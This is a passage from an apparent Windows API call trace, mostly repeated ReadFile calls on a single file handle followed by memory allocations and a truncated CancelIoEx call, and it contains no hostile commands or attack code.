hFile=0x2a0, lpBuffer=0xc000737cb7, nNumberOfBytesToRead=0x349, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737cb7*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.630] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737cc7, nNumberOfBytesToRead=0x339, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737cc7*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.631] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737cc8, nNumberOfBytesToRead=0x338, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737cc8*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.632] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737cd3, nNumberOfBytesToRead=0x32d, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737cd3*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.633] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737cd4, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737cd4*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.634] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737ce0, nNumberOfBytesToRead=0x320, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737ce0*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.635] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737ce2, nNumberOfBytesToRead=0x31e, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737ce2*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.636] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737cfb, nNumberOfBytesToRead=0x305, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737cfb*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.637] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737cfc, nNumberOfBytesToRead=0x304, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737cfc*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.638] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737d04, nNumberOfBytesToRead=0x2fc, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737d04*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.639] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737d05, nNumberOfBytesToRead=0x2fb, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737d05*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.666] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737d15, nNumberOfBytesToRead=0x2eb, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737d15*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.668] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737d16, nNumberOfBytesToRead=0x2ea, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737d16*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.669] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737d21, nNumberOfBytesToRead=0x2df, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737d21*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.670] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737d22, nNumberOfBytesToRead=0x2de, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737d22*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.671] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737d2e, nNumberOfBytesToRead=0x2d2, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737d2e*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.676] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737d30, nNumberOfBytesToRead=0x2d0, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737d30*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.692] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737d49, nNumberOfBytesToRead=0x2b7, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737d49*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.693] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737d4a, nNumberOfBytesToRead=0x2b6, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737d4a*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.694] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737d52, nNumberOfBytesToRead=0x2ae, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737d52*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.695] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737d53, nNumberOfBytesToRead=0x2ad, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737d53*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.696] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737d63, nNumberOfBytesToRead=0x29d, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737d63*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.697] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737d64, nNumberOfBytesToRead=0x29c, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737d64*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.698] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737d6f, nNumberOfBytesToRead=0x291, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737d6f*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.699] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737d70, nNumberOfBytesToRead=0x290, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737d70*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.700] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737d7c, nNumberOfBytesToRead=0x284, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737d7c*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.701] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737d7e, nNumberOfBytesToRead=0x282, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737d7e*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.702] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737d97, nNumberOfBytesToRead=0x269, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737d97*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.706] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737d98, nNumberOfBytesToRead=0x268, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737d98*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.708] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737da0, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737da0*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.708] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737da1, nNumberOfBytesToRead=0x25f, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737da1*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.710] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737db1, nNumberOfBytesToRead=0x24f, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737db1*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.710] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737db2, nNumberOfBytesToRead=0x24e, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737db2*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.711] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737dbd, nNumberOfBytesToRead=0x243, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737dbd*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.712] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737dbe, nNumberOfBytesToRead=0x242, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737dbe*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.713] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737dca, nNumberOfBytesToRead=0x236, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737dca*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.714] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737dcc, nNumberOfBytesToRead=0x234, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737dcc*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.715] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737de5, nNumberOfBytesToRead=0x21b, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737de5*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.716] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737de6, nNumberOfBytesToRead=0x21a, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737de6*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.717] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737dee, nNumberOfBytesToRead=0x212, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737dee*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.776] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737def, nNumberOfBytesToRead=0x211, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737def*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.780] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737dff, nNumberOfBytesToRead=0x201, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737dff*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.782] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737e00, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737e00*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.784] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b60b, nNumberOfBytesToRead=0x9f5, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b60b*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.785] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b60c, nNumberOfBytesToRead=0x9f4, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b60c*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.786] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b618, nNumberOfBytesToRead=0x9e8, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b618*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.787] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b61a, nNumberOfBytesToRead=0x9e6, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b61a*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.788] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b633, nNumberOfBytesToRead=0x9cd, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b633*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.789] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b634, nNumberOfBytesToRead=0x9cc, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b634*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.790] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b63c, nNumberOfBytesToRead=0x9c4, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b63c*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.791] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b63d, nNumberOfBytesToRead=0x9c3, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b63d*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.792] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b64d, nNumberOfBytesToRead=0x9b3, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b64d*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.794] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b64e, nNumberOfBytesToRead=0x9b2, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b64e*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.795] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b659, nNumberOfBytesToRead=0x9a7, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b659*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.801] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b65a, nNumberOfBytesToRead=0x9a6, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b65a*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.802] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b666, nNumberOfBytesToRead=0x99a, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b666*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.803] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b668, nNumberOfBytesToRead=0x998, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b668*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.804] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b681, nNumberOfBytesToRead=0x97f, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b681*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.805] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b682, nNumberOfBytesToRead=0x97e, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b682*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.806] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b68a, nNumberOfBytesToRead=0x976, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b68a*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.807] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b68b, nNumberOfBytesToRead=0x975, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b68b*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.808] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b69b, nNumberOfBytesToRead=0x965, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b69b*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.809] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b69c, nNumberOfBytesToRead=0x964, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b69c*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.810] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b6a7, nNumberOfBytesToRead=0x959, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b6a7*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.811] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b6a8, nNumberOfBytesToRead=0x958, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b6a8*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.816] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b6b4, nNumberOfBytesToRead=0x94c, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b6b4*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.817] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b6b6, nNumberOfBytesToRead=0x94a, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b6b6*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.826] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b6cf, nNumberOfBytesToRead=0x931, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b6cf*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.827] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b6d0, nNumberOfBytesToRead=0x930, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b6d0*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.832] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b6d8, nNumberOfBytesToRead=0x928, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b6d8*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.833] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b6d9, nNumberOfBytesToRead=0x927, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b6d9*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.834] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b6e9, nNumberOfBytesToRead=0x917, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b6e9*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.835] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b6ea, nNumberOfBytesToRead=0x916, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b6ea*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.839] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b6f5, nNumberOfBytesToRead=0x90b, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b6f5*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.840] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b6f6, nNumberOfBytesToRead=0x90a, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b6f6*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.841] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b702, nNumberOfBytesToRead=0x8fe, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b702*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.842] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b704, nNumberOfBytesToRead=0x8fc, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b704*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.843] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b71d, nNumberOfBytesToRead=0x8e3, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b71d*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.847] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b71e, nNumberOfBytesToRead=0x8e2, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b71e*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.848] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b726, nNumberOfBytesToRead=0x8da, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b726*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.849] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b727, nNumberOfBytesToRead=0x8d9, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b727*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.850] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b737, nNumberOfBytesToRead=0x8c9, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b737*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.851] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b738, nNumberOfBytesToRead=0x8c8, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b738*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.852] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b743, nNumberOfBytesToRead=0x8bd, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b743*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.853] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b744, nNumberOfBytesToRead=0x8bc, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b744*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.854] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b750, nNumberOfBytesToRead=0x8b0, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b750*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.855] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b752, nNumberOfBytesToRead=0x8ae, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b752*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.856] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b76b, nNumberOfBytesToRead=0x895, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b76b*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.857] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b76c, nNumberOfBytesToRead=0x894, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b76c*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.858] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b774, nNumberOfBytesToRead=0x88c, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b774*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.863] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b775, nNumberOfBytesToRead=0x88b, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b775*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.864] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b785, nNumberOfBytesToRead=0x87b, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b785*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.865] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b786, nNumberOfBytesToRead=0x87a, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b786*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.866] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b791, nNumberOfBytesToRead=0x86f, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b791*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.867] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000a2b792, nNumberOfBytesToRead=0x86e, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000a2b792*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0194.287] VirtualAlloc (lpAddress=0xc0006c8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0006c8000 [0195.086] VirtualAlloc (lpAddress=0xc0006ca000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0006ca000 [0195.713] CancelIoEx (hFile=0x2a0, 